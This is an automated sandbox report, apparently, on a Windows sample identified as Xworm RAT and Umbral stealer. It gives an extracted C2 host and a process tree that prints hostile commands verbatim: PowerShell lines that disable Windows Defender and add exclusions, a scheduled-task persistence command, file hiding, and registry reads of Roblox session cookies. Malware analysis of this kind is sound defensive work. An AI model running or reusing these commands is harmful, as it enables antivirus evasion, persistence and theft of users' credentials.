Overview

overview

10

Static

static

3

df8227c17e...e0.exe

windows7-x64

1

df8227c17e...e0.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/10/2024, 03:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe
  • Size 870KB
  • Sample241020-dk6b9axdkn
  • SHA256 df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
umbralxwormdiscoveryexecutionpersistenceratspywarestealertrojan

Malware Config

Extracted

Family

  • xworm

C2

  • build-what.gl.at.ply.gg:10272

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Start PowerShell.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe
    "C:\Users\Admin\AppData\Local\Temp\df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe"
    1⤵
    • Checks computer location settings
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Users\Admin\AppData\Local\AyoStandard.exe
      "C:\Users\Admin\AppData\Local\AyoStandard.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -command "& {Start-Process -FilePath 'C:\Windows\Temp\Umbral.exe' -Verb RunAs}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\Temp\Umbral.exe
          "C:\Windows\Temp\Umbral.exe"
          4⤵
          • Executes dropped EXE
          PID:4448
      • C:\Users\Admin\AppData\Local\Update Service.exe
        "C:\Users\Admin\AppData\Local\Update Service.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Update Service.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Update Service.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2000
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1984
      • C:\Users\Admin\AppData\Local\Umbral.exe
        "C:\Users\Admin\AppData\Local\Umbral.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4428
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Umbral.exe"
          4⤵
          • Views/modifies file attributes
          PID:2020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Umbral.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1420
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2216
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4888
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          4⤵
            PID:1712
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4680
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            4⤵
            • Detects videocard installed
            PID:5080
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Umbral.exe" && pause
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Windows\system32\PING.EXE
              ping localhost
              5⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5112
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      PID:2604
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      PID:4844

    Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Modify Registry

          1
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Query Registry

          3
          T1012

          Remote System Discovery

          1
          T1018

          System Information Discovery

          4
          T1082

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Web Service

          1
          T1102

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          AyoStandard.exe
          • Path C:\Users\Admin\AppData\Local\AyoStandard.exe
          • Size 9.9MB
          • SHA256 6209a4f84c4d423a5ed048595ab8fa33e8354363ea69000dcb2887e6a5264695
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Umbral.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log
          • Size 1KB
          • SHA256 7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5
          • MD5 SHA1 SHA512
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512
          Submit Download

          svchost.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log
          • Size 654B
          • SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 948B
          • SHA256 4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 cf69cc666c1919e86261080d13dedb0301387c99f3360b674e211bce4071c80c
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
          • MD5 SHA1 SHA512
          Submit Download

          __PSScriptPolicyTest_cjlgkjbl.fnt.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjlgkjbl.fnt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512
          Submit Download

          Umbral.exe
          • Path C:\Users\Admin\AppData\Local\Umbral.exe
          • Size 227KB
          • SHA256 cef6907644852d2c121218c464a70e125a39750a5cbd31c556d5c214a3e96750
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          Update Service.exe
          • Path C:\Users\Admin\AppData\Local\Update Service.exe
          • Size 67KB
          • SHA256 9f053ed5f7835f881b70f1569288c360b221431f797cd3018adcd769f02cad57
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          memory/1300-18-0x000001BC35C60000-0x000001BC36644000-memory.dmp
          Download

          memory/1300-20-0x000001BC50990000-0x000001BC509A2000-memory.dmp
          Download

          memory/1300-196-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp
          Download

          memory/1300-17-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp
          Download

          memory/1300-22-0x000001BC50E80000-0x000001BC51256000-memory.dmp
          Download

          memory/1300-21-0x000001BC50A50000-0x000001BC50A6A000-memory.dmp
          Download

          memory/1416-5-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp
          Download

          memory/1416-2-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp
          Download

          memory/1416-1-0x000001C6612F0000-0x000001C6613D0000-memory.dmp
          Download

          memory/1416-0-0x00007FFF61233000-0x00007FFF61235000-memory.dmp
          Download

          memory/1416-19-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp
          Download

          memory/1416-3-0x000001C67BA40000-0x000001C67BC54000-memory.dmp
          Download

          memory/2112-50-0x000001C765140000-0x000001C765162000-memory.dmp
          Download

          memory/4428-46-0x00000220C8510000-0x00000220C8550000-memory.dmp
          Download

          memory/4428-89-0x00000220E2D00000-0x00000220E2D50000-memory.dmp
          Download

          memory/4428-88-0x00000220E2C80000-0x00000220E2CF6000-memory.dmp
          Download

          memory/4428-128-0x00000220E2C30000-0x00000220E2C42000-memory.dmp
          Download

          memory/4428-127-0x00000220E2C00000-0x00000220E2C0A000-memory.dmp
          Download

          memory/4428-90-0x00000220C89F0000-0x00000220C8A0E000-memory.dmp
          Download

          memory/4804-47-0x0000000000FC0000-0x0000000000FD8000-memory.dmp
          Download